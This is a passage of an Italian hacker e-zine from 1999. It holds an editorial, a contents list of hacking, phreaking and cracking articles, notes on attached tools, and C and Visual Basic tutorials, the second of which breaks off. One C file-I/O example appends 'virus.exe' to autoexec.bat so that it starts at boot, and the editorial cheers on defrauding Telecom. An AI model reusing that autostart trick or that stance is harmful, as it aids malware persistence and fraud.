@-,',.,',.,',.,',.,',-@ | _ _ ____ _ | | | \ | | _____ _| __ )(_) ___ ___ | -+- | \| |/ _ \ \ /\ / / _ \| |/ _ Y __|-+- : | |\ | __/\ V V /| |_) | | __|__ \ : | |_| \_|\___| \_/\_/ |____/|_|\___|___/ | @-,',.,',.,',.,',.,',-@ NEW BIES (num 2) (data 07/03/99) [ powered By ZeroCool and N0bodY88 ] DISCLAIMER LEGALE ------------------------------------------------------------------------------ IL NEWBIES STAFF NON SI ASSUME NESSUNA RESPONSABILITA' X L'UTILIZZO DELLE TECNICHE SOTTO RIPORTATE, LE QUALI SONO STATE DISTRIBUITE UNICAMENTE X CONDIVIDERE LE CONOSCENZE DA NOI "ACUISITE" (mitico edu...) E PER CERCARE QUALCUNO CON CUI CONFONTARE LE NS ESPERIENZE E LE CONOSCENZE X MIGLIORARE VICENDEVOLMENTE.....DIVERTENDOSI! N0bodY88 of NewBies Staff ------------------------------------------------------------------------------ PREMESSA Questa e-zine e' nata in una giornata qualsiasi di gennaio, mentre 2 newbies stavano parlando tra loro in IRC di non mi ricordo cosa. Da quel fatidico giorno la e-zine e' cresciuta, le persone che ho contattato x scrivere un articolo mi hanno dato la loro disponibilita' e entro alcuni giorni mi hanno fatto avere il loro operato. Alcune persone hanno fatto tardi x notti intere (fra cui il sottoscritto) ed hanno sacrificato il loro tempo x creare qualcosa che fosse nuovo, divertente, che ci facesse diventare + bravi, + amici, + uniti e forse...beh...forse anche + famosi...hihihi! Questo e' quello che abbiamo realizzato insieme, collaborando e scambiandoci opinioni. Se questa e-zine non vi piace, e' troppo semplice o e' stupida non scriveteci (oppure scriveteci x migliorare un art. della e-zine sfruttando le vostre conoscenze) ma se solo sara' piaciuta ad una persona, se solo un ragazzo dopo aver letto questa avra' deciso di passare a linux, di programmare in visual basic, di farsi una propria backdoor o di mettersi a studiare come si usa telnet (troppo poco attrezzato di voci nei menu x essere quello tanto decantato dovunque, ma anche troppo simpatico con il suo prompt a mo di Commodore 64) allora questa e-zine sara' servita a qualcosa. E ricordate...newbies si nasce, hacker si diventa. Buona lettura ^__^ N0bodY88 INTRODUZIONE: Hey ciao benvenuti a NewBies n.2 la nostra strafigha e-zine , bhe stavolta abbiamo apportato dei cambiamenti ad esempio abbiamo letto meglio gli articoli confrontandoli con quelli gia' esistenti di altre e-zines per evitare che qualcuno faccio copiature e rippamenti vari e qui ringrazio Lord Guf x averci aiutato a trovare articoli poco edificanti contenuti nel numero 1. Cavolo io N0bodY88 siamo felicissimi di continuare quest' azzentura [sei mitico N0bodY88] e speriamo di poter dare con questo numero un taglio + tecnico alla e-zines. Grazie a tutti quelli che hanno letto il n.1 e spero che sto numero piaccia molto di + . Ringrazio RigoR MorteM , ChRoMe , Brigante, Master di SPP per averci sostenuto e aver parlato di noi nella loro e-zines ; Ringrazio Blum e quelli di Spaghetti Phreackers per il link e i consigli al nostro sito. Ringrazio gli stramitici BFI e in particolare Spirito per la sua cordialita' e disponibilita' , siete veramente mitici spero un giorno di diventare come voi . Continuate cosi' SiEtE I MiGliOrI .... Un grazie a tutti quelli che conosco , a DarkSchanider e a tutti quelli che in mirc ci hanno dato un poco disupporto morale...GRAZIEEEE. Voglio anche mettere un particolare ''saluto'' a Luce e a Mofoz che anche se la sorte avversa li ha toccati rimarrano nel cuore di tutti noi , questo e'da parte di ZeroCool x Voi e vi dedico questa frase : Non cercare di capire , Non cercare di pensare , Non cercare di credere in qualcosa in cui tu non riesci a credere stupido essere , Noi siamo cio' che tu non sei , Noi siamo la Luce [e/o la cerchiamo] e tu il buio , puoi fermare uno di noi ma non tutti . UN FUCK A TUTTI GLI ENTI e a TELECOM in particolare noi non abbiamo paura di voi ma voi si per questo volete fermarci ma mai e poi mai ci riuscirete noi siamo troppi e molti si aggiungono. Un mio saluto a tutto quelli che ci lavorano e mi danno una mano a fotterla. Ciaoz da ZeroCool ͻ ARTICOLO ͹ AUTORE ͹ NOVITA' DAL MONDO NewBies Staff CONOSCETE NETRUNNERS? NO??? E COME FATE A VIVERE?????? N0bodY88 DIAMO AD AVATAR CIO' CHE E' DI AVATAR N0bodY88 INFO SUGLI ALLEGATI NewBies Staff 2 PAROLE SUGLI ALLEGATI N0bodY88 PROGRAMMAZIONE NewBies Staff C TUTORIAL [ SECONDA PARTE ] ElectroRipper VB TUTORIAL [ SECONDA PARTE ] R0n|n PASCAL TUTORIAL [ PRIMA PARTE ] T0rment0 JAVA TUTORIAL [ PRIMA PARTE ] SkHammer VB AVANZATO Master JAVASCRIPT Master COME ELIMINARE I BANNER DALLE HP Master ANARCHIA, BANCHE, BOMBE ET SIMILI NewBies Staff STINKY BOMB Avatar666 DIVERTIRSI A SCUOLA ElectroRipper COME FOTTERE I SOLDI AL VS VICINO IN MODO DEL TUTTO LEGALE N0bodY88 SCHERZI TELEFONICI ElectroRipper CRITTOGRAFIA E STEGANOGRAFIA NewBies Staff CRITTOGRAFIA E SEMPLICI IDEE X FARSI QUALKE PROGRAMMINO N0bodY88 STEGANOGRAFIA FOR DUMMIES Nietzsche STEGANOGRAFIA CON IL PROGRAMMA IME Nietzsche CRITTOGRAFIA FOR DUMMIES Nietzsche CRACKING NewBies Staff CRACK FOR BEGINNERS ZioFill CRACKING QUESTO SCONOSCIUTO SpYmAsTeR MASTERIZZARE CHE PASSIONE KaOsS TEORIA NewBies Staff FIREWALL E PROTOCOLLI INTERNET The Duke SSL Brigante INTRODUZIONE AL RARP Darkman BOOTP Darkman IP SPOOFING & IP MASQUERADE Ramesse SMTP N0bodY88 TRADUZIONI NewBies Staff TROJAN HORSES, VIRUSES AND WORMS Wurz A HACKER by VAN HAUSER Wurz INTERVISTE NewBies Staff INTERVISTA A UN HACKER/PHREAKER N0bodY88 INTERVISTA A UN EX CRACKER ORA HACKER N0bodY88 PHREAKING NewBies Staff TELEFONARE GRATIS Fusyllo FORSE NON SAPEVATE CHE... ]Akuma[ COSA C'E' DIETRO AD UN GREEN ZeroCool HACKING DI TUTTO DI PIU' E DIVERSI ART. MOLTO INTERESSANTI NewBies Staff HOTLINES QUESTO SCONOSCIUTO Nemesis FTP BOUNCE Ghimlet VIRUS X DOS 6.1 SorrowThePrince QUALCHE INFO SU ANGELFIRE SkHammer COME MANTENERE LA VOSTRA PAGINA "ILLEGALE" Biavo COME CAMBIARE ICONE CON REGEDIT RigoR MorteM USARE ZAP2 X RENDERSI INVISIBILE RaG3 FINGER Fritz COME MODIFICARE SPEAKEASY X NON ESSERE BECCATI Meew COS'E'E COME SI USA UNA SHELL Fritz PROGETTO FUCKTEL - TELECOZZ E VARIE COSETTE UTILI ZeroCool DIRECTORY DI SISTEMA CON DESCRIZIONE Zinco INSTALLAZIONE LINUX Dante Alighieri LOGHI OEM RigoR MorteM COME REGISTRARE UN CANALE CON IL CHANSERV Newbie 1.1 OVERCLOCKING ULNTWH99 IP ROUTING ZeroCool TROJAN FOR DUMMIES Nietzsche PRIVACY QUESTA SCONOSCIUTA Alby GUIDA DI BASE AL SOCIAL ENGEENERING ElectroRipper DOVE E COME METTERE BACKDOOR LordDestruction QUALCHE MUST HAVE (URL INTERESSANTI) Fritz LINUX: COME METTERE UN FTP ANONIMO T0rment0 LISTA PROXY Sciaman HACKING DI WINDOZZO NT Game CARATTERISTICHE DISTRIBUZIONI LINUX T0rment0 METTERE L'APPROVED CON AGENT Fritz COME TOGLIERE I TROJAN Lopks L'MP3: QUESTO SCONOSCIUTO Sciaman OVERCLOCK Dante alighieri PICCOLI TRUCCHI PER NEWBIES T0rment0 COME DIVENTARE OP CON UNA BOTTA DI...CULO P0nic0 SALUTI ۰۰۰۰۰۰۰۰ ۰۰۲۰۰۰۰۰۰۰۰ ۰۰۰۲۰۰۰۰۰۰۰۲۰ ۰۰۲۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ͻ Ŀ CONOSCETE NETRUNNERS? NO??? E COME FATE A VIVERE?????? ٺ ͼ NetRunners per i poki newbies e hackers che non la conoscono e' un mitica e-zine frutto del lavoro di un gruppo hacker italiano che se non raggruppa i migliori elementi italiani... be ci va vicino! Il gruppo si chiama SPP (SpiPPoLaTorI) e sono formati da un gruppo di amici con conoscenze diciamo...vicine all'infinito+1...eheheh Il sito in cui DOVETE andare a scaricare la ezine arrivata al bellissimo numero 3 dedicato a netcat [ se non sapete cos'e'...scaricatela :-) ], si trova all'url: http://members.tripod.com/~teresacanis/ e non fate i tirchi ma date un okkiata all'ottimo sito realizzato da RigoR MorteM con l'aiuto di Teresa x la grafica...poi ditemi che non vi passiamo buoni link :P Colgo l'occasione x salutare ChRoMe e tutti quelli che aiutano il prog. NetRunners e buona fortuna x il futuro :) N0bodY88 PS: quasi dimenticavo....un grazie x averci dato una mano a ChRoMe e RigoR sia x la ricerca di nuovi articoli, che x averci fatto pubblicita' :-) ͻ Ŀ DIAMO AD AVATAR CIO' CHE E' DI AVATAR ٺ ͼ Grazie alla segnalazione di Avatar, il NewBies Staff con me in testa si scusa con Avatar666, dato che nel primo numero di NewBies i green che sono stati dati erano stati "copiati e incollati" da una vecchia versione del Cookbook del mitico Avatar e a lui, quale autore del txt e scopritore degli stessi, non erano stati dati alcuni meriti, se non quello di aver scoperto il numero di sua eminenza. Alle foto sulla cabina "aperta con dolcezza" (eheheheh) allegate in un altro zip al 1 numero non possiamo aggiungere altri articoli o foto degli IHC che cmq ci hanno promesso che se faranno qualcos'altro ce lo faranno pubblicare su uno dei prossimi numeri (mitici!!!) quindi pregate a mani congiunte che forse x il 3 num DrShade e Cyrus The Virus ci presenteranno un'altro dei loro interessantissimi articoli. :))) Ci scusiamo quindi con Spaghetti (che porta avanti un progetto importante x la scena italiana) x le le foto delle cabine prese senza dare meriti al mitico Spaghetti e ad Avatar (che le ha fatte) a cui va tutta la nostra riconoscenza e la ns gratitudine per averci fatto notare i mancati riferimenti del 1 num. Sperando in un 2 numero migliore ricordo a tutti gli scrittori e a tutti i newbies che se all'interno dei propri articoli si citano testi altrui va specificato chi e' l'autore o il traduttore e se e' possibile bisogna contattarlo x chiedere la pubblicazione (come avevo fatto io con il mitico X-H4ck3r). Ora vi lascio con una frase di un amico hacker americano: INFORMATION WANTS TO BE FREE...BUT REMEMBER THE AUTHOR!!! Allego qua sotto il link al sito Spaghetti Phreakers, dove tra l'altro trovate anche il mitico Cookbook di Avatar (che x dimostrare che non ci sono problemi ora che e' tutto risolto ci ha permesso di includere un art. del suo nuovo Cookbook che deve ancora uscire nella ns e-zine!!! mitico Ava66!!!) http://come.to/spaghettiphreakers/ <-- CHI NON CI VA, LEGGENDO QUESTA EZINE SI RITROVERA' 40 TROJAN INSTALLATI SU PC! ۰۰۰۰۰۰ ۰۰۰۰۰۰۰ ۲۰۰۰۰۰۰۲۰۰۰ ۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰ 2 PAROLE SUGLI ALLEGATI: - regmon = prog. che serve x crackare; il suo utilizzo viene spiegato nel proprio articolo da ZioFill; - ime = Image Mesage Encryptor ver 1.0 by Christian; programma che serve x nascondere i propri messaggi all'interno di immagini con estensione .jpg inserito xche' Nietzsche ne parla in uno dei suoi articoli sulla Stenografia (argomento imo molto interessante, i questo momento in cui la privacy sembra non esistere...); - s-tools = programma usato x nascondere i propri msg in suoni o immagini; il suo utilizzo e' spiegato nel proprio articolo da Nietzsche; - ban = zip contenente un immagine e una pagina .htm grazie al quale si puo' vedere cio' di cui Master parla in uno dei suoi articoli riguardo alla morte dei ban che appaiono sulle hp free; - hackernovello = una guida in .htm che ho pensato di non addare all'interno della ezine, per mantenerla nel formato originale; questa guida fatta dal ns mitico T0rment0 (che in questo stesso numero ha anke iniziato un tutorial di Pascal utile a tutti i programmatori imo) la trovate anke sul suo sito [ http://come.to/hackernovello ]. - ocx = serve x registrare il famoso winsck.ocx il file che meta' dei programmini in rete (winnuke, portrscan e altri) richiedono x funzionare; un grazie particolare a Urkes :))) - loghioem = mitico esempio concessoci da RigoR MorteM su come cambiare una cosetta molto simpatica in win, provate e rimarrete stupiti da questo trucco imo molto bello e da me usato a scuola [dove c'e' scritto "N0bodY88 has been here" hack the planet - information wants to be free] e adesso comnciate a darmi del lamer...hihihi - anti-s.zip = in euqesto zip sono contenuti 5 documenti di un insieme di 30 doc sulle reti, e ad ogni numero di newbies aggiungeremo 5 numeri fino a pubblicarli tutti...ps complimenti Anti-s :) - zerocool.zip = mitico zip con all'interno dei numeri telefonici e dei dati sicuramente interessanti per tutti i phreakers li' fuori che avranno cosi' nuove info da "addare" ai propri archivi :) Sono anke contenute una worldlist e altre info molto utili ^_^ PS: zero 6 |\/| | ^|^ | [ [] - vecna.zip = un insieme di articoli con l'elenco aggiornato dei bug di sendmail datoci dal mitico vecna...questo insieme di articoli potrebbe essere una ezine da solo xche' con tutte le cose che sa lui...ho pensato di metterlo in uno zip a parte primo perche' sono + art molto interessanti e poi xche'...Vecna e' Vecna!!! Vecna 61m1t0!!! Dovrebbero esserci tutti questi prog acclusi, ma magari dividiamo in 2 la ezine... con tutti gli articoli che abbiamo riusciremmo a fare un numero 2 e un numero 3 :)) N0bodY88 ۰۰۰۰۰۰۰ ۰۰۰۲۰۲۰۰۰ ۰۰۰۰۲۰۰۰۲۰۰ ۰۰۰۰۲۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰ ͸ ::::::::::::::::::::::::::: | ͵ Titolo: Corso di C - II Parte ͵ di : ElectroRipper ͵ Scritto il : xx/2/99 ͵ Pericolo: ۰ ; ElectroRipper_______CORSO_DI_C________II__PARTE___________________________________ if ((aveteseguitolaprimaparte()) || (necapitegiaqualcosa())) { continuatealeggere(); } else { leggetevilaprimaparte(); } // eheh, mi divertono sempre queste stronzate :) ______________________________________________________________________________ Allora, comincio dicendo che CRUSAD3R, autore della prima parte, nonche' cugino del sottoscritto, e' morto, e ha espresso nel testamento, come sua ultima volonta', il desiderio che io continuassi sto benedetto corso di C. Prima di cominciare a parlare della gestione dei file devo introdurre le strutture. Dunque, mettiamo per esempio che vogliate fare un gioco di corsa di automobili (ehhhhhhhhh! e state leggendo questo tutorial ?) Per ogni automobile vi serve sapere il nome, la velocita' massima, e i soldi posseduti dal guidatore. Sarebbe comodo se ci fosse un tipo di variabile automobile che potesse contenere tutti questi dati, non trovate ? Una variabile del genere si chiama struttura.... Es. struct automobile{ char *nome; int velmax; long soldi; }; Ecco il tipo di variabile che ci serviva ! Adesso pero' dobbiamo definire la variabile vera e' propria... Es. struct automobile auto1; struct automobile auto2; struct automobile auto3; In questo modo creiamo 3 variabili di tipo automobile chiamate auto1, auto2 e auto3. Ognuna di queste variabili conterra' al suo interno i membri della struttura automobile. Es. strcpy(auto1.nome,"Fiat 500"); auto1.soldi = 0; auto1.velmax = 150; Ovviamente, tornando all'esempio del gioco di corsa, converrebbe creare un array di automobili... Es. struct automobile automobili[10]; ------- Ora vi spieghero' la gestione dei file da un punto di vista logico, cioe' non dovrete preoccuparvi di come il sistema operativo gestisce fisicamente i file, anche perche' questo richiederebbe una spiegazione a parte per ogni OS, mentre una delle caratteristiche piu' lodate del C e' la sua portabilita' da un sistema a un altro, quindi conviene piu' conoscere dei metodi generici di I/O, da potere poi usare sulla maggiorparte degli OS. Possiamo immaginare un file come un archivio contenente un certo numero di bytes ordinati, messi in fila uno di seguito all'altro. Ci sono due modi di accedere ad un file : in modo sequenziale (cioe' i bytes vengono scritti o letti in ordine, partendo dall'inizio del file), e in modo random, cioe' scrivendo o leggendo direttamente nel punto desiderato del file. I File di testo sono file formati da caratteri ascii, che non possono contenere il carattere 26 (EOF) dato che questo viene usato solo per indicare la fine del file. Ora, prima di continuare con la teoria, facciamo qualche esempio.... #include main(){ FILE *ilfile; ilfile = fopen("\\autoexec.bat","a"); fprintf(ilfile,"%s","virus.exe"); fclose(ilfile); } Non mi soffermo sulle stronzate che dovreste aver gia' imparato dalla prima puntata (main e #include), e vado direttamente alla chiamata a fopen. Questa e' la funzione di stdio che serve ad aprire un file. Il valore di ritorno lo assegniamo al puntatore al tipo FILE "ilfile". Il primo argomento di fopen e' il nome del file da aprire, il secondo serve a specificare in che modo vogliamo aprire il file (in questo caso a = appending, cioe' quello che scriviamo viene messo alla fine del file, senza cancellare le righe gia' esistenti. "w" invece corrisponde a write, cioe' crea un file per scriverci dentro, se il file gia' esiste lo sovrascrive. "r" indovinate un po' a che serve ? :) Possiamo anche combinare piu' modi tra di loro per definire l'accesso al file che ci serve. Ad esempio "rwt" indica che vogliamo creare il file e poi accedervi in lettura e scrittura, trattandolo come file di testo ("t") Con fprintf scriviamo qualcosa nel file (alla fine del file in questo caso). I parametri da passare sono gli stessi di printf, ad eccezione del primo, che deve essere il puntatore a FILE. In questo caso la funzione scrive la stringa "virus.exe" alla fine del file aperto in ilfile, cioe' l'autoexec.bat. Con fclose chiudiamo il file (operazione necessaria, altrimenti tutte le modifiche vanno perse). Quando operiamo su un file aperto come file di testo troviamo alcune limitazioni. Per prima cosa il carattere 26 viene considerato come fine del file, inoltre le funzioni seguono alcune convenzioni del sistema operativo. Ad esempio nel DOS, quando nel file si incontra la combinazione di caratteri CRLF (Return+Linefeed) viene letto un solo carattere, cioe' \n (se non sapete cos'e' dovreste andare a rivedervi la prima parte). Se vogliamo leggere il contenuto del file cosi' com'e', dobbiamo aprirlo in modo binario, anziche' come file di testo. Al posto di "t" useremo quindi "b". Es. ilfile = fopen("\\command.com","rb"); In tal modo tutti i caratteri verranno letti esattamente come si trovano nel file, senza conversioni. Scrivendo un numero in un file binario questo verra' scritto sotto forma di caratteri ascii, occupando quindi due soli byte per un int (risparmiando quindi spazio. Un altro vantaggio dell'uso dei file binari). Per leggere da un file, invece, possiamo usare la funzione fscanf, simile alla scanf, tranne che per il primo parametro, che deve essere il puntatore a FILE. Es. fscanf(ilfile,"%d",&numero); ------ Il programma apre automaticamente alcuni file... stdout = La periferica standard di output (video, ma puo' essere ridirezionato) stdin = " " " " input (tastiera) stderr = " " " " error (video) stdprn = Stampante Standard (stampante) Es. fscanf(stdin,"%d",&ilnumero); // legge un numero dalla tastiera ----- Ritornando ai file binari, un'importante funzione e' fwrite. Es. #include main(){ FILE *ilfile; int ilnumero; ilfile = fopen("prova.prv","wb"); fwrite(&ilnumero,sizeof(ilnumero),1,ilfile); fclose(ilfile); } Il primo argomento e' l'indirizzo della variabile, il secondo la dimensione in bytes, il terzo il numero di dati e il quarto il file. sizeof ritorna la dimensione in bytes della variabile. Es. #include main(){ FILE *ilfile; int inumeri[100]; ilfile = fopen("prova.prv","wb"); fwrite(inumeri,sizeof(inumeri[0]),100,ilfile); fclose(ilfile); } In questo caso scriviamo nel file un intero array di int. La & davanti al primo argomento in questo caso non e' necessaria, dato che scrivendo il nome di un array senza numero ci si riferisce all'indirizzo in memoria dove inizia l'array. sizeof(inumeri[0]) ci da la dimensione di uno solo degli elementi dell'array, mentre il terzo argomento (100) dice alla funzione di registrare 100 dati della dimensione sizeof(inumeri[0]), dato che vogliamo registrare tutto l'array, composto appunto da 100 elementi. fwrite ha come valore di ritorno il numero di bytes che e' riuscito effettivamente a scrivere nel file. La funzione per leggere da un file corrispondente a fwrite e' fread, alla quale dobbiamo passare gli stessi argomenti di fwrite. Se ad esempio volessimo rileggere l'array salvato con l'esempio precedente... #include main(){ FILE *ilfile; int inumeri[100]; ilfile = fopen("prova.prv","rb"); fread(inumeri,sizeof(inumeri[0]),100,ilfile); fclose(ilfile); } Come avrete gia' capito, fread ritorna invece il numero di bytes che e' riuscito a leggere dal file (utile per accorgersi di un errore se il numero e' inferiore a quello richiesto) Un grosso vantaggio di fwrite e fread e' che fanno parte dello standard ANSI, e garantiscono quindi una certa portatilita' ai programmi che accedono ai file unicamente con queste due funzioni. Per leggere o scrivere un solo carattere si usano invece putc e getc. Es. ilcarattere = getc(ilfile); putc(ilcarattere,ilfile2); Spesso capita di voler usare un ciclo generico per gestire file forniti dall'utente. In questo caso possiamo usare la funzione feof(FILE *stream) per controllare se il file e' terminato (la funzione ritorna nonzero) o no (la funzione ritorna 0), con qualcosa di questo tipo : while (!feof(inputf)){ fgetc(inputf); } -------- Passiamo ora a vedere come accedere ad un file in modo random. Mentre in un file sequenziale leggevamo o scrivevamo byte uno dopo l'altro, possiamo immaginare un file random come un insieme di elementi numerati, chiamati record. Il vantaggio e' possiamo accedere direttamente al record che ci interessa, ricordando pero' che tutti i record devono essere della stessa dimensione. Anche se il C non fa differenza tra i due tipi di file, di solito si accede ad un file random in modo binario con fwrite e fread. Quindi per accedere in lettura e scrittura apriremo il file in modo "r+b" se il file esiste gia', in modo "w+b" se vogliamo crearlo. Per accedere ad un certo record dobbiamo conoscerne la posizione nel file ed andarci con la funzione fseek. Es. #include main(){ FILE *ilfile; ilfile = fopen("prova.prv","rb"); fseek (ilfile,56L,SEEK_SET); fclose(ilfile); } In questo caso va al byte 56 (L = in formato Long) di ilfile, a partire da SEEK_SET, cioe' dall'inizio del file. SEEK_SET = inizio del file SEEK_CUR = posizione corrente SEEK_END = fine del file Noi pero' non vogliamo raggiungere un qualsiasi byte del file, ma l'inizio del record che ci interessa. Per fare cio' dovremo usare sizeof. fseek(ilfile,(long)numerodelrecord*sizeof(record),SEEK_SET); _____________________________________________________________________________ OOOPS! Una cosa che doveva essere spiegata nella prima parte : il cast scrivendo tra parentesi un tipo di variabili forziamo il compilatore a considerare un valore come se fosse di quel tipo. In questo caso e' necessario dato che fseek si aspetta come secondo argomento un valore di tipo long _____________________________________________________________________________ Passiamo a un altro esempio. Se volessimo salvare i dati delle automobili di quel gioco.... #include struct automobile{ char *nome; int velmax; long soldi; }; main(){ FILE *ilfile; struct automobile automobili[10]; ilfile = fopen("automob.sav","w+b"); fwrite(automobili,sizeof(automobile),10,ilfile); fclose(ilfile); } In questo caso ogni record rappresenta i dati di un automobile. Per accedere al terzo record scriveremo : struct automobile auto1; fseek(ilfile,(long)2*sizeof(auto1),SEEK_SET); fread(&auto1,sizeof(auto1),1,ilfile); Ci ritroveremo cosi' nella variabile auto1 i dati dell'automobile numero 3. Ecco, mi sembra di aver spiegato le cose di base sulla gestione dei file. Per piacere non mi e-mailate per dirmi che ho dimenticato di spiegare qualcosa. Questo e' solo un tutorial con il quale cerco di spiegare il C a chi non lo conosce, ma le cose piu' importanti si imparano sperimentando da soli. Se trovate questo tutorial troppo scemo, vi ricordo che questo tutorial DEVE cominciare da zero (e conoscendo la mia coerenza c'e' da scommettere che non andra' troppo lontano :) Se invece trovate questo tutorial troppo difficile..... e che cazzo! It's impossible!!!!! ElectroRipper ͻ Ŀ VB TUTORIAL [ SECONDA PARTE ] ٺ ͼ Bene, bene.... a quanto pare si continua!!!! Sperando che abbiate capito qualcosa dal primo numero (ricordatevi che potete scrivermi per qualsiasi cosa [ma ricordate che sono un NewBie] a ronin_111@hotmail.com) .... si riparte!!! L'altra volta abbiamo accennato ai cicli, ed abbiamo visto il ciclo FOR (che, spero lo abbiate gia' capito, serve per quei cicli che vanno eseguiti un numero preciso di volte). Oggi parliamo del ciclo DO/LOOP. La principale differenza e' che qui non sappiamo quante volte il ciclo verra' eseguito, e ne usciremo solo al verificarsi di una certa condizione. Ad esempio: Sub Prova() Dim Risposta as Integer Do Risposta = MsgBox ("Ciao, continua?", VbYesNo, "Prova") Loop Until Risposta = 7 End Sub Prima il MsgBox.... questa istruzione crea una finestra di messaggio. La sintassi e': MsgBox(prompt[, buttons] [, title] [, helpfile, context]) dove: prompt --> E' il messaggio che sara' visualizzato buttons --> (facoltativa) Indica i pulsanti che saranno visualizzati (vedi tabella dopo) title --> (facoltativa) E' il titolo della finestra helpfile--> (facoltativa) Indica il file di guida utilizzato per le informazione relative al contesto context --> (facoltativa) Indica il numero del contesto a cui si fa riferimento nel file guida Se viene usato helpfile, context diventa obbligatorio e viceversa (non ho mai utilizzato queste due opzioni, diciamo che sono qui per completezza di informazione, hehehe) La variabile "buttons" A seconda dei pulsanti che si vogliono visualizzare VbOKOnly 0 Visualizza solo il pulsante OK. VbOKCancel 1 Visualizza i pulsanti OK e Annulla. VbAbortRetryIgnore 2 Visualizza i pulsanti Termina, Riprova, e Ignora. VbYesNoCancel 3 Visualizza i pulsanti Si', No e Annulla. VbYesNo 4 Visualizza i pulsanti Si' e No. VbRetryCancel 5 Visualizza i pulsanti Riprova e Annulla. A seconda di come apparira' la finestra VbCritical 16 Visualizza l'icona di messaggio critico. VbQuestion 32 Visualizza l'icona di richiesta di avviso. VbExclamation 48 Visualizza l'icona di messaggio di avviso. VbInformation 64 Visualizza l'icona di messaggio di informazione. A seconda del pulsante predefinito VbDefaultButton1 0 Il primo pulsante e' il predefinito. VbDefaultButton2 256 Il secondo pulsante e' il predefinito. VbDefaultButton3 512 Il terzo pulsante e' il predefinito. VbDefaultButton4 768 Il quarto pulsante e' il predefinito A seconda se la scelta e' obbligatoria per l'applicazione o il sistema VbApplicationModal 0 Scelta obbligatoria nell'applicazione. L'utente deve rispondere prima di poter continuare a lavorare nell'applicazione corrente. VbSystemModal 4096 Scelta obbligatoria nel sistema. Tutte le applicazioni vengono sospese fino a quando l'utente non risponde. La variabile buttons deriva dalla somma delle opzioni corrispondenti alle nostre scelte. Ad esempio: se voglio visualizzare solo il pulsante OK, in stile di messaggio critico e con priorita' sul sistema assegnero' il valore 4112 dato da 0 + 16 + 0 + 4096 se voglio visualizzare i pulsanti SI e NO, senza stile, con pulsante predefinito il 2 (NO), con priorita' solo sull'applicazione assegnero' il valore 260 dato da 4 + 0 + 256 + 0 ... ... Per ogni gruppo e' possibile scegliere un'opzione (intendo dire che non e' possibile mettere il primo pulsante come predefinito e pure il terzo, 8|; oppure mettere come stile sia il messaggio di avviso che quello critico), e il valore finale e' dato dalla loro somma (come gia' detto). Inoltre e' possibile sostituire il valore con la costante associata (VbQuestion e' la costante 32 che si riferisce allo stile di richiesta di avviso). In questo caso, piu' opzioni vengono gestite con l'operatore "+". Ad esempio: MsgBox "Prova", VbYesNo + VbSystemModal, "Titolo Prova" Infine l'istruzione include le parentesi quando e' una funzione (cioe' restituisce un risultato). Quindi: Variabile = MsgBox ("Testo", VbYesNo) --> visualizza la finestra e memorizza la risposta in Variabile Msgbox "Testo", VbYesNo --> visualizza la finestra I possibili risultati sono: Costante Valore Significato vbOK 1 OK vbCancel 2 Annulla vbAbort 3 Termina vbRetry 4 Riprova vbIgnore 5 Ignora vbYes 6 Si' vbNo 7 No OOPS... mi sono dilungato un po. Torniamo al ciclo. Come potete vedere, il ciclo visualizza una finestra di messaggio finche' non premiamo il pulsante NO. La parola UNTIL indica che il ciclo e' eseguito quando la condizione e' FALSA (infatti, come diventa vera, usciamo dal ciclo) Questa puo essere sostituita dalla parola WHILE che ha esattamente la funzione opposta: il ciclo verra' eseguito quando la condizione e' VERA. Quindi ad esempio, questo listato risulta uguale a quello precedente: Do Risposta = MsgBox ("Ciao, continua?", VbYesNo, "Prova") Loop While Risposta = 6 Viene controllato che risposta sia uguale a 6 (SI) e, se vero, il ciclo si ripete. In questi casi, pero, si entra nel ciclo sempre almeno una volta.... potremmo pero' non volere eseguire il ciclo nemmeno una volta. Possiamo quindi mettere la condizione di esecuzione del ciclo all'inizio: Do While Risposta = 6 Risposta = MsgBox ("Ciao, continua?", VbYesNo, "Prova") Loop Con questo listato per entrare nel ciclo la variabile Risposta deve gia' avere il valore 6, altrimenti le istruzioni all'interno del ciclo saranno completamente ignorate e l'esecuzione del programma riprendera' dall'istruzione seguente LOOP. Anche in questo caso e' possibile usare WHILE o UNTIL. Infine diciamo che la condizione puo' essere composta da piu' relazioni legate da operatori logici. Ad esempio con "Do While Risposta = 6 And Fine = 1" il ciclo viene eseguito solo se Risposta e' uguale a 6 E Fine e' uguale ad 1; basta che una delle due condizioni sia falsa per uscire dal ciclo. Gli relazioni possono essere anche a carattere gerarchico (cioe' si possono utilizzare le parentesi). Do While Risposta = 6 And (Fine = 1 Or Inizio = 1) Non vi dico il significato di questa istruzione.... cercate di capire quando si esce dal ciclo!!!! Ecco i principali operatori logici che potete usare in Visual Basic: *** AND Espressione1 Espressione2 Risultato True True True True False False False True False False False False Restituisce True solo se tutte le espressioni hanno valore True *** OR Espressione1 Espressione2 Risultato True True True True False True False True True False False False Restituisce True solo se almeno una delle espressioni ha valore True *** NOT Espressione Risultato True False False True Inverte il valore della variabile *** XOR Espressione1 Espressione2 Risultato True True False True False True False True True False False False Restituisce True se i due valori sono diversi tra loro *** IMP Espressione1 Espressione2 Risultato True True True True False False False True True False False True Mai usato... se qualcuno capisce in base a che principio funziona me lo dica;p (la guida dice: "Utilizzato per stabilire un'implicazione logica tra due espressioni") *** EQV Espressione1 Espressione2 Risultato True True True True False False False True False False False True Praticamente l'opposto di XOR Prima di finire con i cicli diciamo che possono essere nidificati (cioe' uno dentro un altro) e che, in quel caso, l'istruzione di chiusura (LOOP per il ciclo DO, NEXT per il ciclo FOR) si riferisce all'inizio piu' vicino ancora aperto: DO {istruzioni} DO {altre_istruzioni} LOOP LOOP Il primo LOOP si riferisce al secondo DO (quello aperto piu' vicino) e lo chiude... il secondo LOOP chiude il primo DO. N.B. Quando chiudete un ciclo FOR ricordate di mettere il giusto contatore vicino all'istruzione NEXT o verra' generato un errore. E anche questa e' fatta!!! I cicli principale sono questi. Passiamo ora all'esecuzione condizionale. Si tratta semplicemente di istruzioni che vengono eseguite solo se si verificano (o meno) certe condizioni. La prima e' sicuramente l'IF. Sub Main() Dim Risposta as integer Risposta = MsgBox ("Ciao, continua?", VbYesNo, "Prova") If Risposta = 6 then MsgBox "Ok, let's go on" End If End Sub In questa routine chiediamo se si vuole continuare e se la risposta e' SI viene visualizzata un'altro messaggio. La struttura e': If condizione1 then {blocco_istruzioni1} Else {blocco_istruzioni2} End If Se la condizione risulta vera, verra' eseguito il 